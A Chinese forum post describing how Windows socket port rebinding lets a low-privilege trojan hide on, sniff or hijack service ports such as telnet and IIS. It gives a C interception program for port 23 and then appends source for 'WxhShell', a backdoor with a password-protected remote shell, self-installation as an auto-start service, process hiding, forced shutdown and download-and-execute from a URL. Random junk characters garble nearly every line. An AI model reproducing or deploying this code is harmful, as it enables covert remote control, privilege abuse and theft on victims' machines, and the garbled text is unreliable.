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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VQQtxHTC3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K38A;=t9  
;%j1'VI  
  saddr.sin_family = AF_INET; _rz*7-ks=  
<{"]&bl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); El}."}l&  
=D2jJk?AX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l<]@5"wN  
9,4Lb]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LXIQpD,M  
cnUYhxE+s  
  这意味着什么?意味着可以进行如下的攻击: %$)[qa3  
FM)Es&p&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YB^[HE\#y  
#Tjv(O[&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %)Pn<! L  
[=63xPxs.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }T}9AQ}|  
<9]9;   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8KQ]3Z9p  
>0W:snNK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o<hT/ P  
u7oHqo`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {p{TG5rwX  
G8y:f%I!b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y R2Q6}xR  
1q])"l"<  
  #include <F=U(WWn9  
  #include 3=reN6Q  
  #include Vd-\_VP20  
  #include    dQ5_=( 9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }E\ b_.  
  int main() p@H3NX  
  { H WOl79-  
  WORD wVersionRequested; $\0%"S  
  DWORD ret; PfaBzi9?f  
  WSADATA wsaData; :Kl~hzVSOa  
  BOOL val; JP2zom  
  SOCKADDR_IN saddr; |6%B2I&c  
  SOCKADDR_IN scaddr; \BV$p2m5-  
  int err; \B0,?_i  
  SOCKET s; WW'8&:x  
  SOCKET sc; k}5Sz  
  int caddsize; 5ayM}u%\~  
  HANDLE mt; ^r u1QDT  
  DWORD tid;   n( |~z   
  wVersionRequested = MAKEWORD( 2, 2 ); 8| 6:  
  err = WSAStartup( wVersionRequested, &wsaData ); 4xg7 oo0iJ  
  if ( err != 0 ) { /.'tfy $  
  printf("error!WSAStartup failed!\n"); s<i& q {r  
  return -1; 8E m X  
  } "Dc6kn^}3  
  saddr.sin_family = AF_INET; $c!cO" U  
   d+1q[,-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9 a ED6  
s&<6{AU(id  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &i&k 4  
  saddr.sin_port = htons(23); QJL%J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DS@ZE Q`F  
  { lG\6z"K  
  printf("error!socket failed!\n"); tSr.0'CE  
  return -1; )%4%Uo_Xm  
  } 6*] g)m  
  val = TRUE; -R^OYgF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u~| D;e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x<m{B@3T  
  { t:DZow  
  printf("error!setsockopt failed!\n"); +:hZ,G?>  
  return -1; E4a`cGb  
  } }klET   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J YA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  k3[%pS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +1Qa7 \  
5J d7<AO_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) EJM6TI"  
  { gWxpGW^eZ~  
  ret=GetLastError(); MZyzc{c,  
  printf("error!bind failed!\n"); ,t`u3ykh  
  return -1; Y:GSjq  
  } VJK?"mX  
  listen(s,2); ^xW u7q  
  while(1) }@kD&2  
  { FKTdQg|NZ  
  caddsize = sizeof(scaddr); LciSQ R!  
  //接受连接请求 3ErW3Ac Ou  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I<v1S  
  if(sc!=INVALID_SOCKET) mE`O G8  
  { 3{gD'y4j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *SW.K{{  
  if(mt==NULL) E8[{U8)[;5  
  { K%Dksx7ow  
  printf("Thread Creat Failed!\n"); 9n#Q1Xq  
  break; G~SgI>Q  
  } %^e~;i=2  
  } [0M2`x4`  
  CloseHandle(mt); O~E6"v Q  
  } [D8u.8q  
  closesocket(s); Q}pnb3J>T  
  WSACleanup(); V'kCd4  
  return 0; ^hG Y,\K9  
  }   sFd"VRAV~E  
  DWORD WINAPI ClientThread(LPVOID lpParam) "|{3V:e>a  
  { < r6e23  
  SOCKET ss = (SOCKET)lpParam; av-l_iE  
  SOCKET sc; {[r}&^K15  
  unsigned char buf[4096]; zG\g{cB  
  SOCKADDR_IN saddr; (zW;&A  
  long num; ^Z?X\t  
  DWORD val; hxIG0d!o  
  DWORD ret; dQ&S&SW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f L @rv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N! 7r~B   
  saddr.sin_family = AF_INET;  .AEOf0t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZG=B'4W  
  saddr.sin_port = htons(23); X67.%>#3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]}4{|& e  
  { wv.FL$f[@  
  printf("error!socket failed!\n"); udRum7XW 3  
  return -1; 9.<dS  
  } c$X0C&m  
  val = 100; BXNt@%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >d.o1<  
  { / v";u)  
  ret = GetLastError(); Y,-?oBY  
  return -1; Kd 2?9gaw  
  } \,:3bY_d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^%)H;  
  { oSmv  (O  
  ret = GetLastError(); tc go 'V  
  return -1; $U,`M"  
  } fZoV\a6Kj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Dj=OUo[[d  
  { 2h<{~;  
  printf("error!socket connect failed!\n"); .rfufx9Sw  
  closesocket(sc); WM& k  
  closesocket(ss); HK@LA3  
  return -1; a&>Tk%  
  } q3+G  
  while(1) 2k\i/i/Y  
  { 3j{VpacZY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9fk@C/$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #[.vfG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'qGKS:8  
  num = recv(ss,buf,4096,0); ]dZ8]I<$C  
  if(num>0) $"P9I-\m  
  send(sc,buf,num,0); ,vfi]_PK  
  else if(num==0) $=>(7 =l_  
  break; 4@,d{qp~  
  num = recv(sc,buf,4096,0); B7:8%r/  
  if(num>0) *gu4%  
  send(ss,buf,num,0); em^|E73  
  else if(num==0) j@4 yRl ^  
  break; ]Y#$!fIx  
  } Ri$wt.b  
  closesocket(ss); `;[ j`v8O  
  closesocket(sc); JCjQR`)  
  return 0 ; ]+1?T)<!  
  } 6S-1Wc4  
s?;rP,{:p  
b9M.p*!  
========================================================== 2o0.ttBAqZ  
0\ G`AO;D  
下边附上一个代码,,WXhSHELL V=<OV]0  
Q>\y%&df  
========================================================== HGuY-f  
A;e[-5@  
#include "stdafx.h" !olvP*c"  
5):2;hk  
#include <stdio.h> }-3| v<d  
#include <string.h> O34'c_ fZ  
#include <windows.h> g8 (zvG;Y  
#include <winsock2.h> |_&Tu#er3  
#include <winsvc.h> _pu G?p  
#include <urlmon.h> = > .EDL.  
(*63G4Nz\  
#pragma comment (lib, "Ws2_32.lib") W~15[r0  
#pragma comment (lib, "urlmon.lib") D-)jmz>R  
Lod$&k@@  
#define MAX_USER   100 // 最大客户端连接数 q 6Q;9,  
#define BUF_SOCK   200 // sock buffer 9N(<OY+Dgm  
#define KEY_BUFF   255 // 输入 buffer Dq/ _#&S  
FA 1E`AdU  
#define REBOOT     0   // 重启 LOY+^  
#define SHUTDOWN   1   // 关机 U#oe8(?#  
3 y!yz3E  
#define DEF_PORT   5000 // 监听端口 ;Qpp`  
AXBv']Y  
#define REG_LEN     16   // 注册表键长度 P0m;AqS#R  
#define SVC_LEN     80   // NT服务名长度  3nfw:.  
5pNbO[  
// 从dll定义API }D5*   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qaBjV6loy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5oz[Njq4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1tvgM !.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c5_?jKpl  
>G`=8Ku  
// wxhshell配置信息 (k?,+jnR  
struct WSCFG { \tc`Aj%K  
  int ws_port;         // 监听端口 &FrW(>2  
  char ws_passstr[REG_LEN]; // 口令 ;IhkGPpWP  
  int ws_autoins;       // 安装标记, 1=yes 0=no h.Cr;w,2R  
  char ws_regname[REG_LEN]; // 注册表键名 0{ov LzW  
  char ws_svcname[REG_LEN]; // 服务名 {7^7)^@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 . e2qa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hu$]V*rAG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >S /Zd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0mB]*<x8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *wW/nr=\;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &gc8"B@V  
:[gM 5G  
}; HR'r~ #j  
!ndc <],  
// default Wxhshell configuration @";z?xj  
struct WSCFG wscfg={DEF_PORT, sa\v9  
    "xuhuanlingzhe", xwxMVp`|o  
    1, yb BLBJb  
    "Wxhshell", Qh%(yL!  
    "Wxhshell", }Sa2s&[<  
            "WxhShell Service", #pJ^w>YNy  
    "Wrsky Windows CmdShell Service", AL/`Pqlk  
    "Please Input Your Password: ", 1nh2()QI[  
  1, HjTK/x'_'L  
  "http://www.wrsky.com/wxhshell.exe", ;EP]A3  
  "Wxhshell.exe" Va"_.8n|+  
    }; q|J3]F !n  
\XR%pC  
// 消息定义模块 KK-9[S-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oD,f5Ci-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A3%s5`vNvH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >'#G$f  
char *msg_ws_ext="\n\rExit."; $rf4h]&<  
char *msg_ws_end="\n\rQuit."; jRXpEiM  
char *msg_ws_boot="\n\rReboot..."; [0 7N<<  
char *msg_ws_poff="\n\rShutdown..."; Ww*='lz  
char *msg_ws_down="\n\rSave to "; j3QpY9A  
ocwRU0+j  
char *msg_ws_err="\n\rErr!"; R4,j  
char *msg_ws_ok="\n\rOK!"; h'wOslyFa  
o"@y=n/  
char ExeFile[MAX_PATH]; d )|{iUcW  
int nUser = 0; IC}?oXs5G  
HANDLE handles[MAX_USER]; }zVPdBRfm  
int OsIsNt; ADRjCk}I  
nGA'\+zj L  
SERVICE_STATUS       serviceStatus; 8;7Y}c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v#0R   
q#B^yk|Y  
// 函数声明 GW$ (E*4q  
int Install(void); 4cK6B)X  
int Uninstall(void); *&)<'6  
int DownloadFile(char *sURL, SOCKET wsh); #3maT*JY  
int Boot(int flag); 'UO,DFq[Fl  
void HideProc(void); y wlN4=  
int GetOsVer(void); iK%<0m  
int Wxhshell(SOCKET wsl); tx;DMxN!W  
void TalkWithClient(void *cs); Q[i/]  
int CmdShell(SOCKET sock); Mn+;3qo{6  
int StartFromService(void); BDY@&vF  
int StartWxhshell(LPSTR lpCmdLine); mg)lr&-b  
1E!0N`E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -}k'a{sj=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lpkg( J#&  
0j%@P[zQ  
// 数据结构和表定义 dwks"5l  
SERVICE_TABLE_ENTRY DispatchTable[] = LH.. 8nfl  
{ ~I6Er6$C^  
{wscfg.ws_svcname, NTServiceMain}, >jAr9Blz]  
{NULL, NULL} NUBzmnA>8  
}; 0`/PEK{  
p2|c8n==  
// 自我安装 B?c9cS5Mj  
int Install(void) |E-0P=h  
{ N!DAn \g  
  char svExeFile[MAX_PATH]; k;:v~7VF  
  HKEY key; l5S (x Q  
  strcpy(svExeFile,ExeFile); UwY<3ul  
RsU=fe,  
// 如果是win9x系统,修改注册表设为自启动 +uW$/_Y$  
if(!OsIsNt) { N)A?*s'v~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QOIi/flK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9@C3jZ+9`H  
  RegCloseKey(key); o9M[Zr1@k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u4B,|_MK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *!UY;InanX  
  RegCloseKey(key); 5=Mm=HyI2  
  return 0; |jm|/{lc  
    } <Fb3\T L  
  } 70&v`"  
} 13Ga #  
else { 5gW`;Cdbyc  
hb9X<N+p  
// 如果是NT以上系统,安装为系统服务 c+AZ(6O ?\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1(M0C[P  
if (schSCManager!=0) )'\Jp 7*3  
{ L7mN&Xr  
  SC_HANDLE schService = CreateService  Q^/5hA  
  ( 8^=g$;g  
  schSCManager, `(1em%}  
  wscfg.ws_svcname, X"b4U\A  
  wscfg.ws_svcdisp, *Id$%O  
  SERVICE_ALL_ACCESS, wo7.y["$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i ^sK+v  
  SERVICE_AUTO_START, zvL&V .>  
  SERVICE_ERROR_NORMAL, k|-`d  
  svExeFile, c\UVMyE  
  NULL, } gyJaMA  
  NULL, @Fqh]1t  
  NULL, (6z^m?t?  
  NULL, nL@ "FZ`(  
  NULL hC<X\yxe  
  ); 'P}"ZHW  
  if (schService!=0) FCQoz"M  
  { W^0F(9~!(  
  CloseServiceHandle(schService); m_~ p G  
  CloseServiceHandle(schSCManager); XEV-D9n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l?(nkg["nY  
  strcat(svExeFile,wscfg.ws_svcname); W5(t+$L.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P]T(I/\g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X`]-) (U X  
  RegCloseKey(key); 0IBVR,q  
  return 0; +GI[ Kq  
    } WKX5Dl  
  } cO<]%L0  
  CloseServiceHandle(schSCManager); 57IrD*{  
} \v]}  
} (.P;VH9R\  
y&9S+  
return 1; _)2.#L  
} zc]F  
 O/gok+K  
// 自我卸载 QL}5vSl  
int Uninstall(void) R B.j@*  
{ u#%Ig3  
  HKEY key; |8&AsQd  
5. :To2  
if(!OsIsNt) { 3/:O8H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0~A<AF*t  
  RegDeleteValue(key,wscfg.ws_regname); UA{sUj+?  
  RegCloseKey(key); - t4"BD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J"|)?$d]z  
  RegDeleteValue(key,wscfg.ws_regname); \^;Gv%E  
  RegCloseKey(key); ,oIZ5u{#,  
  return 0; _baqN!N  
  } 'LFHZ&-  
} nSsVONHfa  
} s8}:8  
else { = Ii@-C  
i2.y)K)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2iI"|k9M  
if (schSCManager!=0) ,Ng3!2&$e  
{ K%qunjv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y4VCehdJ  
  if (schService!=0) D[ 7K2G+  
  { @S?.`o  
  if(DeleteService(schService)!=0) { cZ|D!1%  
  CloseServiceHandle(schService); J=*y>Zt-b  
  CloseServiceHandle(schSCManager);  g}Hk4+  
  return 0; tzi+A;>c(v  
  } WRh&4[G'  
  CloseServiceHandle(schService); 0-0 )E&2  
  } #"ayq,GC<  
  CloseServiceHandle(schSCManager); |/arxb&  
} A/{pG#if]3  
} IG`~^-}7lR  
2P$lXGjh  
return 1; 5YC56,X  
} I.R3?+tZ  
10}oaL S  
// 从指定url下载文件 =G}_PRn  
int DownloadFile(char *sURL, SOCKET wsh) =/6.4;8  
{ |{PQ0DS  
  HRESULT hr; tt[P{mMQ  
char seps[]= "/"; 98Srn63O  
char *token; h|=^@F_\`  
char *file; HCHP15otfe  
char myURL[MAX_PATH]; E}k#-+u<S4  
char myFILE[MAX_PATH]; eN/s W!:P|  
sl6p/\_w  
strcpy(myURL,sURL); v7Knu]  
  token=strtok(myURL,seps); <ofXNv;`  
  while(token!=NULL) X$ /3  
  { \q3H#1A  
    file=token; tyP-J4J  
  token=strtok(NULL,seps); m8 0+b8b  
  } \2_>$:UoV  
edGV[=]F  
GetCurrentDirectory(MAX_PATH,myFILE); TzPx4L6?  
strcat(myFILE, "\\"); :FG}k Y  
strcat(myFILE, file); Q)#<T]~=  
  send(wsh,myFILE,strlen(myFILE),0); ;T#t)oV  
send(wsh,"...",3,0); k%hD<_:p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E|97zc  
  if(hr==S_OK) P|h<|Gcp  
return 0; OOl{  
else Da-F(^E  
return 1; kUP[&/Lc  
m6 hA,li  
} >-X& /i  
?jqZeO#W7  
// 系统电源模块 U%oI*  
int Boot(int flag) N#7] xL  
{ 3 %DA{  
  HANDLE hToken; [ R~+p#l+Q  
  TOKEN_PRIVILEGES tkp; h4?+/jk7  
,;/4E  
  if(OsIsNt) { EyBdL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 15yIPv+5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T d;e\s/]  
    tkp.PrivilegeCount = 1; r0\bi6;s/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *N>Qj-KAM_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dC(6s=4  
if(flag==REBOOT) { !ox&`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bx6@FKns}  
  return 0; 30DpIkf  
} /;OJ=x3i  
else { N"r ;d+LTL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _'I9rGlx3  
  return 0; '')G6-c/  
} 7y[B[$P  
  } _Fz )2h,3  
  else { Ku&(+e  
if(flag==REBOOT) { >F+:ej  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T&R`s+7  
  return 0; n|,Es!8:o  
} XX6&% 7(  
else { 7PQedZ<\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @=;6:akz`  
  return 0; ]ei] ) JI  
} G x,D'H'  
} 1c}'o*K_%  
nn=JM7e\9  
return 1; 1Rczf(,aT  
} =x7ODBYW^  
Ix(4<s  
// win9x进程隐藏模块 dHp6G^Y  
void HideProc(void) L1F){8[  
{  vo::y"  
qL'3MY.!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I[4E?  
  if ( hKernel != NULL ) c<H4rB  
  { 3zl!x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _p_F v>>:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3/[=  
    FreeLibrary(hKernel); KDXo9FzF  
  } Iewq?s\Fo  
wZC'BLD  
return; ~f@<]  
} BMdr.0  
#t/Q4X +  
// 获取操作系统版本 >|iy= Zn%'  
int GetOsVer(void) ^-ACtA)  
{ iF%q 6R  
  OSVERSIONINFO winfo; 0)P18n"$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C$tSsw?A  
  GetVersionEx(&winfo); ':>B %k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hCDI;'ls  
  return 1; YLCwo]\+>  
  else a6]!4  
  return 0; sW]n~kTt'  
} Z ZiS$&NK8  
)`Fr*H3{  
// 客户端句柄模块 mi-\PD>X  
int Wxhshell(SOCKET wsl) JNu- z:J  
{ S1B/ClKWq  
  SOCKET wsh; m_Rgv.gE^  
  struct sockaddr_in client; R80R{Ze  
  DWORD myID; y&CUT:M6  
9.@(&  
  while(nUser<MAX_USER) fC-^[Af)  
{ p;5WLAF  
  int nSize=sizeof(client); b9Y pUm7#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +p[~hM6?  
  if(wsh==INVALID_SOCKET) return 1; =CVw0'yZ  
eyE&<:F#J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); va<+)b\  
if(handles[nUser]==0) $` oA$E3  
  closesocket(wsh); ?UxY4m%R;  
else t/$xzsoJZr  
  nUser++; 3Yf$WE8#l  
  } gON6jnDO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {c1qC zM4  
|`okIqp  
  return 0; 4ku/3/ 6  
} ex=~l O  
=aekY;/  
// 关闭 socket [_0g^(`  
void CloseIt(SOCKET wsh) j~{2fd<>  
{ i f"v4PHq  
closesocket(wsh); a2 SQ:d  
nUser--; 68)^i"DM<  
ExitThread(0); l6 WcnJ  
} {L=[1  
~3%3{a a  
// 客户端请求句柄 U\ L"\N7  
void TalkWithClient(void *cs) L!p|RKz9X  
{ "5YdmBy  
&-* nr/xT  
  SOCKET wsh=(SOCKET)cs; Y]lqtre*Y  
  char pwd[SVC_LEN]; D=\|teA&  
  char cmd[KEY_BUFF]; 6a@~;!GlI  
char chr[1]; BNy"YK$  
int i,j; 4W?<hv+k7*  
WAa?$"U2  
  while (nUser < MAX_USER) { Y; w]u_  
} -vBRY  
if(wscfg.ws_passstr) { y(dS1.5F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z~uKT n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); br;G5^j3?  
  //ZeroMemory(pwd,KEY_BUFF); |W <:rT  
      i=0; /Ow?nWSt  
  while(i<SVC_LEN) { k$c j|-<  
gctaarB&  
  // 设置超时 Cm4 *sN.&)  
  fd_set FdRead; A1q^E(}O  
  struct timeval TimeOut; P&GZe/6Y  
  FD_ZERO(&FdRead); #SYWAcTkO}  
  FD_SET(wsh,&FdRead); M BT-L  
  TimeOut.tv_sec=8; ^55?VQB  
  TimeOut.tv_usec=0; |FFC8R%@]u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6ZR0_v;TD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *I67SBt  
W~tOH=9>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oe YLL4H  
  pwd=chr[0]; @NIypi$T  
  if(chr[0]==0xd || chr[0]==0xa) { T]W -g  
  pwd=0; 8x" d/D  
  break; MT`gr  
  } @r?`:&m0  
  i++; kut|A  
    } G|lI=Q3f  
!_) ^bRd  
  // 如果是非法用户,关闭 socket [Mz;:/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qJA.+q.e$e  
} nrIL_  
&w0=/G/T=~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?nW#qy!R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {9".o,  
F 29AjW86  
while(1) { G C'%s  
IFxI>6<&  
  ZeroMemory(cmd,KEY_BUFF); >#?: x*[  
d*$<%J  
      // 自动支持客户端 telnet标准   L_mqC(vn  
  j=0; G 7]wg>*  
  while(j<KEY_BUFF) { .Qt3!ek  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gN(hv.nQ  
  cmd[j]=chr[0]; <gLtX[v!CL  
  if(chr[0]==0xa || chr[0]==0xd) { 05B+WJ1  
  cmd[j]=0; m;f?}z_\$  
  break; 3.X0!M;x  
  } qJU)d  
  j++; YSo7~^1W"  
    } #&83;uys  
Ra5'x)m36)  
  // 下载文件 ~ fEs!hl  
  if(strstr(cmd,"http://")) { s RQh~5kM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ok[=1gA#h  
  if(DownloadFile(cmd,wsh)) SAh054/St  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v4_OUA>z,  
  else h)8+4?-4 I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AJfi,rFPg  
  } `uVW<z{ l  
  else { ;6nZ  
b:Kw_Q  
    switch(cmd[0]) { b U]N^og^  
  _|3TC1N$n  
  // 帮助 ACO4u<M)  
  case '?': { VtiqAh}4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  IB{ZE/   
    break; WV1 Z  
  } |HG b.^f?  
  // 安装 Us,[x Q  
  case 'i': { JjLyV`DJ  
    if(Install()) > x ghq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PbUcbb17  
    else { $/Fk6qr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >JPJ%~y  
    break; }.UI&UZ-  
    } O6,"#BX  
  // 卸载 Hu8atlpo  
  case 'r': { =veOVv[Q&/  
    if(Uninstall()) no NF;zT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xg,]M/J  
    else NK9WrUj)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =8p+-8M[d  
    break; ASZ5;N4u  
    } KM}4^Qc  
  // 显示 wxhshell 所在路径 )]>G,.9C}  
  case 'p': { QYfAf3te  
    char svExeFile[MAX_PATH]; ~}-p5q2  
    strcpy(svExeFile,"\n\r"); uuYH6bw*d  
      strcat(svExeFile,ExeFile); #r.` V!=  
        send(wsh,svExeFile,strlen(svExeFile),0); 8@yc}~8 *  
    break; LQ\ ELJj  
    } VnSj:LUD  
  // 重启 4Sstg57x~  
  case 'b': { 8o7]XZE=)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -*hb^MvP  
    if(Boot(REBOOT)) R``V Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0IgnpeA]  
    else { e9@fQ  
    closesocket(wsh); }SMJD  
    ExitThread(0); gSr}p$N  
    } s i "`  
    break; 5m.KtnT)  
    } Mj B< \g>  
  // 关机 s>@#9psm  
  case 'd': { m/hi~. D9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YNC0Z'c9  
